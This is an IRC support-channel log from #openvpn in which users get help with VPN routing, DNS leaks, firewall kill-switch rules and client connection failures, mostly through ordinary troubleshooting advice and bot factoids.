09:46 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds]
09:49 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
09:50 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 245 seconds]
09:51 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has joined #openvpn
09:53 < TauNeutrino> -.-
09:54 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
09:55 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
09:57 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
10:01 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
10:04 -!- TauNeutrino [~prime@HSI-KBW-078-042-129-158.hsi3.kabel-badenwuerttemberg.de] has quit [Quit: leaving]
10:04 -!- suprMan2` [~clark_ken@62-209-20-179.wimax.bb.zain.com] has quit [Read error: Connection reset by peer]
10:04 -!- flo|va-n1-pied is now known as flo|va-nu-pied
10:07 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 252 seconds]
10:08 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
10:11 -!- Serrus [~Serrus@unaffiliated/serrus] has joined #openvpn
10:11 < Serrus> !welcome
10:11 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
10:11 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
10:12 < Serrus> !route
10:12 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
10:12 <@vpnHelper> behind the server or client
10:13 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 252 seconds]
10:14 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
10:15 < Serrus> if i want to change dns, to prevent dnsleaks from my isp when using a vpn.    Do i change the dns in my orginal connection settings, or the settings of the vpn connection?
10:18 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds]
10:21 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
10:22 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
10:23 -!- SgrA [~sgra@gateway/tor-sasl/sgra] has quit [Ping timeout: 240 seconds]
10:27 -!- SgrA [~sgra@gateway/tor-sasl/sgra] has joined #openvpn
10:30 -!- suprMan` [~clark_ken@62-209-20-179.wimax.bb.zain.com] has joined #openvpn
10:30 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 256 seconds]
10:37 -!- Devastator [~devas@186.214.110.222] has joined #openvpn
10:37 -!- Devastator [~devas@186.214.110.222] has quit [Changing host]
10:37 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
10:39 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has joined #openvpn
10:42 < suprMan`> fischli: hi again............ how can i add the routes on the server without changing the default gw for each of the clients on the LAN..... i am not still nota ble to ping even after changing the detault gw on the LAN cliants
10:47 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds]
10:49 -!- erry_ [erry@freenode/gms-slayer/erry] has joined #openvpn
10:50 < pekster> Serrus: That has nothing to do with openvpn at all; openvpn can optionally deliver DNS servers along with the fake DHCP reply sent to the OS, but how your OS handles that is completely outside of openvpn.
10:50 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
10:51 < pekster> A channel/forum dedicated to your OS would be more appropriate; Windows has separate DNS servers per-interface unlike every other common OS out there, so "which" one it uses would be a topic for discussion on a Windows-centric forum
10:51 -!- DeVito [d3vito@37.221.197.45] has quit [Ping timeout: 268 seconds]
10:54 -!- erry_ [erry@freenode/gms-slayer/erry] has left #openvpn []
10:59 < Serrus> ah ok thx
11:00 -!- DeVito [d3vito@d3vito.de] has joined #openvpn
11:18 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
11:18 < dimm0k> what route do i need to get computers behind an openvpn server to be able to see the connecting client?  mind you both the openvpn server and the connecting client are not gateways
11:31 < Martin`> you need to add routes from your computers to the vpn clients
11:33 < dimm0k> Martin`: so if the computers on the server lan using 192.168.14.0/24, where the server is 192.168.14.10, and the vpn uses 10.8.14.0/24, then a computer on the server lan would need "ip route add 10.8.14.0/24 via 192.168.14.10"?
11:34 < Martin`> yes something like that
11:35 < Martin`> maybe you can put that in your router, not sure, I'm unable to do that, my router does not support static routes :(
11:35 < dimm0k> Martin`: i've done that...  but i can't ping the client...
11:36 < dimm0k> i wanted to avoid modifying the router itself and instead have it as a static route on the computer...
11:36 < Martin`> routing is enabled on the openvpn server?
11:38 < dimm0k> yes
11:39 < Martin`> you can ping the client from the vpn server?
11:39 < dimm0k> yes
11:39 < dimm0k> can ping the client at it's LAN IP and the tun0 IP
11:40 < Martin`> you can ping the internal ip adres of the vpn server (192.168.14.10?) from the connected client?
11:40 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds]
11:42 < dimm0k> yes, the client can actually ping the internal ip of the vpn server, as well as computers on the server lan too
11:43 < pekster> The server *must* be a gateway if you're routing across it
11:43 < pekster> gateways route packets; you can't route packets if the box that needs to route them doesn't.
11:44 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
11:44 < dimm0k> pekster: what to do if the server lan already has a gateway and the server is separate?
11:44 < pekster> Add it on the LAN's gateway
11:45 < pekster> Or add it on *every* LAN PC you need to reach from the VPN (that's ugly and hard to maintain)
11:45 < pekster> Mind firewalls too, since you'll have 4 firewalls involved: the VPN client, VPN server, LAN destination PC, and the LAN's default gateway (when using it)
11:45 < pekster> 2 end systems, and two routers passing the traffic
11:46 < dimm0k> pekster: it's only one LAN PC...  so the "ugly" route i dont mind
11:47 < dimm0k> pekster: so would this be the correct route to add "ip route add 10.8.14.0/24 via 192.168.14.10"?
11:49 < pekster> Yup
11:49 < pekster> The VPN server naturally needs the firewall to support the IP forwarding
11:51 < dimm0k> hrmm, will need to also check my firewalls as you mentioned
11:53 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds]
11:54 < Serrus> is there a program that disconnects you from the internet automaticly, when you suddenly lose connection to the vpn ?
11:56 -!- tobym [~tobym@pool-72-89-125-19.nycmny.fios.verizon.net] has joined #openvpn
11:56 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
11:57 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Read error: Connection reset by peer]
12:08 -!- D3Vito [d3vito@d3vito.de] has joined #openvpn
12:10 -!- batrick [~batrick@nmap/developer/batrick] has joined #openvpn
12:12 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds]
12:13 -!- DeVito [d3vito@d3vito.de] has quit [Ping timeout: 256 seconds]
12:16 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
12:18 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
12:23 -!- mchou [~quassel@unaffiliated/mchou] has joined #openvpn
12:33 -!- Serrus1 [~Serrus@unaffiliated/serrus] has joined #openvpn
12:36 -!- Serrus [~Serrus@unaffiliated/serrus] has quit [Ping timeout: 256 seconds]
12:37 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 264 seconds]
12:39 -!- mchou [~quassel@unaffiliated/mchou] has quit [Remote host closed the connection]
12:45 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
12:45 -!- vaillor [~wefefr@adsl-ull-39-64.45-151.net24.it] has quit []
12:47 <@krzee> Serrus1, yes we call it a firewall
12:48 <@krzee> set a rule so that only traffic to your vpn server can go through your isp gateway
12:48 -!- mchou [~quassel@c-76-21-85-110.hsd1.ca.comcast.net] has joined #openvpn
12:49 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 252 seconds]
12:50 < mchou> I'm a bit stumped.  I have two computers here on the LAN, one laptop and one desktop, same distro but different arch (i586 vs. x86_64)
12:51 < mchou> no firewall enabled for testing purposes..
12:52 < mchou> laptop when usined as openvpn client always gives: P_CONTROL_HARD_RESET_CLIENT_V2 kid=0 [ ] pid=0 DATA len=0
12:52 -!- tobym [~tobym@pool-72-89-125-19.nycmny.fios.verizon.net] has quit [Read error: Connection reset by peer]
12:52 < mchou> laptop when used as openvpn client always gives: P_CONTROL_HARD_RESET_CLIENT_V2 kid=0 [ ] pid=0 DATA len=0
12:52 < mchou> desktop connects fine
12:53 < mchou> not sure if this is some dbus or permission problem for connectivity?
12:54 -!- Starthunder [~blackl@unaffiliated/moonlightning] has joined #openvpn
12:54 < Starthunder> Will OpenVPN ever have OS integration?
12:54 < Starthunder> L2TP does, but everyone I asked told me to stay with OpenVPN because the former was an absolute pain to set up.
12:55 < Starthunder> So…if OpenVPN is so much better, why do all the OSes support everything else?
12:55 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds]
12:56 < Starthunder> >.<
12:58 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
13:05 -!- mchou [~quassel@c-76-21-85-110.hsd1.ca.comcast.net] has quit [Remote host closed the connection]
13:08 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
13:09 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds]
13:13 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
13:13 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 264 seconds]
13:13 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:15 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
13:16 < jzaw> !ping
13:16 <@vpnHelper> pong
13:22 < EugeneKay> Starthunder - If by "integrated" you mean in-kernel support, that's against the design of openvpn.
13:23 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 264 seconds]
13:24 < Starthunder> EugeneKay: not necesarily in-kernel, but in-OS.
13:24 < EugeneKay> Included with the OS?
13:24 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has quit [Quit: Leaving.]
13:24 -!- suprMan` [~clark_ken@62-209-20-179.wimax.bb.zain.com] has quit [Quit: love is suicide]
13:24 < Starthunder> If you go to set up a VPN connection, in the system's preference pane or whatever, there's an option for OpenVPN right next to L2TP and PTPP
13:24 < Starthunder> Yeah.
13:25 < EugeneKay> Some linux distributions have it in their default repo packages
13:25 < EugeneKay> Ubuntu even goes so far as to do that
13:25 < EugeneKay> For OS X / Windows that requires access to privileged APIs, so you won't see that sort of integration.
13:25 < EugeneKay> Yell at the manufacturer ;-)
13:26 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
13:26 < Starthunder> Really? I have an Ubuntu machine and I installed the openvpn client >.>
13:26 < EugeneKay> Last I looked Network Manager has support for it, but
13:26 < EugeneKay> !ubuntu
13:26 <@vpnHelper> "ubuntu" is dont use network manager!
13:27 < Starthunder> …okay XD
13:27 < EugeneKay> It's crap, just like everything else NM
13:27 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds]
13:30 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Excess Flood]
13:31 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
13:31 < Starthunder> Yell at the manufacturers? I will. :P
13:32 -!- Serrus1 [~Serrus@unaffiliated/serrus] has quit [Quit: ...]
13:33 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
13:36 -!- TauNeutrino [~prime@HSI-KBW-078-042-129-158.hsi3.kabel-badenwuerttemberg.de] has joined #openvpn
13:36 < TauNeutrino> hey
13:36 < TauNeutrino> Can I use openvpn on just one machine?
13:37 < EugeneKay> vpn to itself? That's a bit daft.
13:37 < EugeneKay> But sure.
13:38 -!- batrick [~batrick@nmap/developer/batrick] has quit [Quit: WeeChat 0.4.1]
13:39 < TauNeutrino> I'm kind of a master n00b. Can you suggest a tutorial or writing or something?
13:39 < EugeneKay> !howto
13:39 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
13:39 < TauNeutrino> I already made an server and client configuration
13:39 < TauNeutrino> I mean for the one machine thing
13:39 < TauNeutrino> a*
13:39 < EugeneKay> I don't know of one, because that doesn't make any sense.
13:39 < EugeneKay> !xy
13:39 <@vpnHelper> "xy" is http://mywiki.wooledge.org/XyProblem -- I want to do X, but I'm asking how to do Y...
13:40 < Starthunder> TauNeutrino, why would you want a one-machine VPN?
13:40 < Starthunder> If you're not going to connect it to anything else…what's the point?
13:40 < TauNeutrino> because I only have a network with one client
13:40 < TauNeutrino> I mean, I use tor but I wanted to try vpn out
13:41 < Starthunder> VPN !~ TOR
13:41 < Starthunder> It's not a proxy thing.
13:41 < Starthunder> I mean, you could /use/ it as one…but you'd need more than one machine on the VPN.
13:41 < EugeneKay> !tor
13:41 < EugeneKay> Hm, thought we had one.
13:41 < Starthunder> Then you could route traffic through the other machine.
13:42 < TauNeutrino> hhm
13:42 -!- batrick [batrick@nmap/developer/batrick] has joined #openvpn
13:43 < Starthunder> TauNeutrino: there is absolutely no point in a one-machine VPN. Just saying. XD
13:43 < TauNeutrino> lol ok
13:43 < Starthunder> 127.0.0.1 is secure because data is never sent outside of the machine.
13:43 < Starthunder> Use that. xD
13:43 < Starthunder> You don't need SSL either :P
13:44 < TauNeutrino> ok I have a phone, maybe I can set up a vpn server on it?
13:44 < TauNeutrino> or other way round
13:44 < TauNeutrino> ^^
13:44 < TauNeutrino> and then I could always switch everything
13:46 < Starthunder> !goal | TauNeutrino
13:46 < Starthunder> !goal
13:46 < TauNeutrino> lol
13:46 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
13:46 < Starthunder> What is the /end result/ you want? :P
13:46 < TauNeutrino> access to internet??
13:49 < Starthunder> > on Freenode
13:49 < Starthunder> > wants Internet access
13:49 < Starthunder> Uhhhh.
13:50 < TauNeutrino> lol ok stop, forget it, i'll look somewhere else
13:50 -!- TauNeutrino [~prime@HSI-KBW-078-042-129-158.hsi3.kabel-badenwuerttemberg.de] has quit [Quit: leaving]
13:50 < Starthunder> …what just happened. XD
13:52 < EugeneKay> Stupidity.
13:54 < Starthunder> http://mywiki.wooledge.org/XyProblem #I'll admit that I'm guilty of this, though.
13:54 <@vpnHelper> Title: XyProblem - Greg's Wiki (at mywiki.wooledge.org)
14:04 -!- JAVACODER [~JAVACODER@2.190.35.93] has joined #openvpn
14:04 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds]
14:05 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 245 seconds]
14:06 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
14:08 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
14:17 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has joined #openvpn
14:21 -!- Alina-malina [~Alina-mal@37.252.65.16] has quit [Read error: Connection reset by peer]
14:22 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds]
14:23 -!- Alina-malina [Alina-mali@37.252.65.16] has joined #openvpn
14:25 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
14:34 -!- JAVACODER [~JAVACODER@2.190.35.93] has quit [Quit: Miranda IM! Smaller, Faster, Easier. http://miranda-im.org]
14:34 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds]
14:38 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
14:40 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
14:40 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
14:44 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Quit: Nettalk6 - www.ntalk.de]
14:50 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
14:51 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
14:53 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds]
14:57 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
14:57 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
15:00 -!- harjarX [~oddharjar@ti0018a380-dhcp3067.bb.online.no] has joined #openvpn
15:06 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Remote host closed the connection]
15:12 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has quit [Quit: Leaving.]
15:38 -!- kubbing [~kubbing@ip-78-102-124-130.net.upcbroadband.cz] has joined #openvpn
15:39 -!- Guest12190 [xtz@DeathStar.Techn0.eu] has quit [Quit: leaving]
15:40 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
15:44 -!- MrPockets [~MevinKitt@CPE-72-129-142-124.new.res.rr.com] has quit [Ping timeout: 276 seconds]
15:49 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
15:49 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds]
15:53 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
15:56 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
16:04 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds]
16:04 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
16:04 -!- kubbing [~kubbing@ip-78-102-124-130.net.upcbroadband.cz] has quit [Ping timeout: 240 seconds]
16:07 -!- Whoopie [Whoopie@unaffiliated/whoopie] has joined #openvpn
16:21 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:40 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn []
16:44 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
16:45 -!- D3Vito is now known as DeVito
16:56 -!- Denial [~Denial@90.202.26.221] has quit []
17:04 -!- levifig [~levifig@spwn.co] has joined #openvpn
17:04 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 246 seconds]
17:21 -!- master_of_master [~master_of@p4FF24D60.dip0.t-ipconnect.de] has joined #openvpn
17:25 -!- master_o1_master [~master_of@p4FD7B9CF.dip0.t-ipconnect.de] has quit [Ping timeout: 248 seconds]
17:39 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
17:39 -!- brad [~brad@78.129.242.122] has quit [Remote host closed the connection]
17:39 -!- brad [~brad@78.129.242.122] has joined #openvpn
17:42 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
17:42 -!- brad [~brad@78.129.242.122] has quit [Remote host closed the connection]
17:56 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
18:16 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
18:17 -!- SgrA [~sgra@gateway/tor-sasl/sgra] has quit [Ping timeout: 240 seconds]
18:17 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Ping timeout: 240 seconds]
18:19 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
18:19 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
18:19 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Remote host closed the connection]
18:19 -!- SgrA [~sgra@gateway/tor-sasl/sgra] has joined #openvpn
18:33 -!- TauNeutrino [~prime@HSI-KBW-078-042-129-158.hsi3.kabel-badenwuerttemberg.de] has joined #openvpn
18:34 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
18:38 -!- TauNeutrino [~prime@HSI-KBW-078-042-129-158.hsi3.kabel-badenwuerttemberg.de] has quit [Quit: Lost terminal]
18:52 -!- brad [~brad@78.129.242.122] has joined #openvpn
19:12 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
19:15 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
20:07 -!- HelloIRC [~prime@HSI-KBW-078-042-129-158.hsi3.kabel-badenwuerttemberg.de] has joined #openvpn
20:07 < HelloIRC> hey
20:08 < HelloIRC> I set up a open vpn server, and I can ping it with the local machine. But I can't ping it with, for example, with my android phone. Some suggestions?
20:09 <@krzee> why should your android phone be able to ping it?
20:09 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Read error: Connection reset by peer]
20:09 <@krzee> !goal
20:09 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
20:09 < HelloIRC> That I can connect to it?
20:09 < HelloIRC> to ther server
20:10 <@krzee> you saying the android phone is running openvpn and cannot connect to then vpn server?
20:10 < HelloIRC> jop
20:10 < HelloIRC> :)
20:10 <@krzee> looked at the logs?
20:11 < HelloIRC> no.....
20:11 <@krzee> would be the first place to start
20:11 < HelloIRC> i'll be back :) thx
20:11 -!- HelloIRC [~prime@HSI-KBW-078-042-129-158.hsi3.kabel-badenwuerttemberg.de] has quit [Client Quit]
20:14 -!- WinstonSmith_ [~WinstonSm@a95-95-35-108.cpe.netcabo.pt] has quit [Ping timeout: 248 seconds]
20:17 -!- troj [~xxx@94.242.205.4] has quit [Ping timeout: 248 seconds]
20:22 -!- SgrA [~sgra@gateway/tor-sasl/sgra] has quit [Ping timeout: 240 seconds]
20:27 -!- troj [~xxx@94.242.205.4] has joined #openvpn
20:30 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has quit [Remote host closed the connection]
20:30 -!- HelloIRC [~prime@HSI-KBW-078-042-129-158.hsi3.kabel-badenwuerttemberg.de] has joined #openvpn
20:34 < HelloIRC> :) ok, the log says something like: "EVENT:CORE_THREAD_ACTIVE, LZO_ASYM init swap=0, asym=0, EVENT:RESOLVE, Contacting via UDP, EVENT: WAIT , Connecting to (10.8.0.1:1194) via UDPv4, Server poll timeout, trying next remote entry. And then again everything till OpenVPN Stop
20:34 < HelloIRC> Tun.ko module is loaded
20:35 -!- SgrA [~sgra@gateway/tor-sasl/sgra] has joined #openvpn
20:40 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
20:43 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
20:45 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has quit [Remote host closed the connection]
20:45 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has joined #openvpn
20:48 -!- troj [~xxx@94.242.205.4] has quit [Ping timeout: 256 seconds]
20:54 -!- troj [~xxx@94.242.205.4] has joined #openvpn
20:55 <@ecrist> HelloIRC: what log level?
20:55 <@ecrist> looks to me like you simply have a network issue
20:55 <@ecrist> !configs
20:55 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
20:58 <@krzee> connecting to 10.8.0.1:1194  ?
20:58 <@krzee> prolly not
20:59 <@krzee> post your client config that you used for android
20:59 < HelloIRC> hmpf, sry i'll be back tomorrow, it's late here :) good night ^^
21:00 -!- HelloIRC [~prime@HSI-KBW-078-042-129-158.hsi3.kabel-badenwuerttemberg.de] has quit [Quit: leaving]
21:00  * ecrist cares not
21:03 <@krzee> srs
21:18 -!- dskfl [~dskfl@79.108.219.151.dyn.user.ono.com] has joined #openvpn
21:40 < dskfl> i'm trying to establish a connection to my openvpn server through "a middle man" that is my openwrt wifi router and from a different subnet that my openvpn server is currently in, and in the middle man i'm forwarding traffic to the openvpn server and it get's to knock (as i can see from the logs) but then it stalls with read UDPv4 [EHOSTUNREACH]: No route to host (code=113)
21:42 < dskfl> note that, everything works fine if i connect from the same lan to the openvpn server (well.. after i found out about the "local" option for the server..")
21:44 < dskfl> so basically, my openwrt has 2 interfaces, wlan0 10.0.0.1 and eth0 192.168.2.2 My laptop connects to wlan0, receives an ip like 10.0.0.6 and openwrt forwards the traffic to eth0 and it goes to the openvnp server ..
21:45 < dskfl> wich has an ip like 192.168.2.1
21:45 < dskfl> i notices that traffic is forwarded because i can see the client trying to connect but i have something messed up with the routing..
21:46 < dskfl> anyone done something like this?
22:38 -!- mchou [~quassel@unaffiliated/mchou] has joined #openvpn
23:05 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Quit: Leaving]
23:11 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
23:14 -!- mchou [~quassel@unaffiliated/mchou] has quit [Remote host closed the connection]
23:15 -!- dskfl [~dskfl@79.108.219.151.dyn.user.ono.com] has left #openvpn ["Leaving"]
--- Day changed Mon Jul 08 2013
00:29 -!- tharkun [~0@unaffiliated/tharkun] has quit [Ping timeout: 256 seconds]
00:41 -!- astrobdw [~astrobdw@dslb-084-062-127-181.pools.arcor-ip.net] has joined #openvpn
00:56 -!- Starthunder is now known as Moonlightning
00:57 -!- mchou [~quassel@unaffiliated/mchou] has joined #openvpn
01:08 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
01:12 -!- tharkun [~0@187.188.166.5] has joined #openvpn
01:18 -!- tharkun [~0@187.188.166.5] has quit [Read error: Operation timed out]
01:38 -!- tharkun [~0@187.188.166.5] has joined #openvpn
01:46 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
01:50 -!- astrobdw [~astrobdw@dslb-084-062-127-181.pools.arcor-ip.net] has quit [Read error: Connection reset by peer]
01:52 -!- astrobdw [~astrobdw@dslb-188-100-008-132.pools.arcor-ip.net] has joined #openvpn
01:55 -!- troj [~xxx@94.242.205.4] has quit [Read error: Operation timed out]
01:58 -!- troj [~xxx@94.242.205.4] has joined #openvpn
01:58 -!- astrobdw [~astrobdw@dslb-188-100-008-132.pools.arcor-ip.net] has quit [Ping timeout: 246 seconds]
01:59 -!- astrobdw [astrobdw@dslb-188-109-057-085.pools.arcor-ip.net] has joined #openvpn
02:09 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
02:10 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
02:10 -!- Moonlightning [~blackl@unaffiliated/moonlightning] has quit [Read error: Connection reset by peer]
02:10 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
02:16 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
02:27 -!- astrobdw [astrobdw@dslb-188-109-057-085.pools.arcor-ip.net] has quit []
02:35 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit [Ping timeout: 264 seconds]
02:38 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
02:47 -!- zeroXten_ [~zeroXten@37.139.3.39] has quit [Quit: leaving]
02:48 -!- zeroXten [~zeroXten@37.139.3.39] has joined #openvpn
03:33 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
03:35 -!- aPollO_ [~apollo@brick.ibix.de] has joined #openvpn
03:38 -!- aPollO_ [~apollo@brick.ibix.de] has quit [Client Quit]
04:09 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
04:24 -!- Denial [Denial@90.202.26.221] has joined #openvpn
04:28 -!- mchou [~quassel@unaffiliated/mchou] has quit [Read error: Connection reset by peer]
04:31 -!- mchou [~quassel@unaffiliated/mchou] has joined #openvpn
04:31 -!- astrobdw [astrobdw@dslb-188-109-178-135.pools.arcor-ip.net] has joined #openvpn
04:32 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has joined #openvpn
04:32 < astrobdw> OK, I **almost** have OpenVPN working correctly. Ubuntu server / Windows 7 client. Nslookup, ping, etc all work in CMD window, but dns fails in browser(s). Browsing directly to IP addresses works. Help?
04:36 < astrobdw> in a Cygwin shell, even, nslookup works fine, but I cannot even retrieve pages via curl, except by using ip address.
04:37 < astrobdw> So, http is clearly not blocked, DNS is working... ???
04:45 < jzaw> astrobdw, does your dns server accept enquiries from your vpn ip range
04:47 < jzaw> if youre using bind ... its the allow-query     and or allow-recursion
04:48 < jzaw> can you dig bbc.co.uk @<your dns server ip>
04:55 -!- astrobdw [astrobdw@dslb-188-109-178-135.pools.arcor-ip.net] has quit []
05:08 -!- matsh_ [divine@nanogene.org] has joined #openvpn
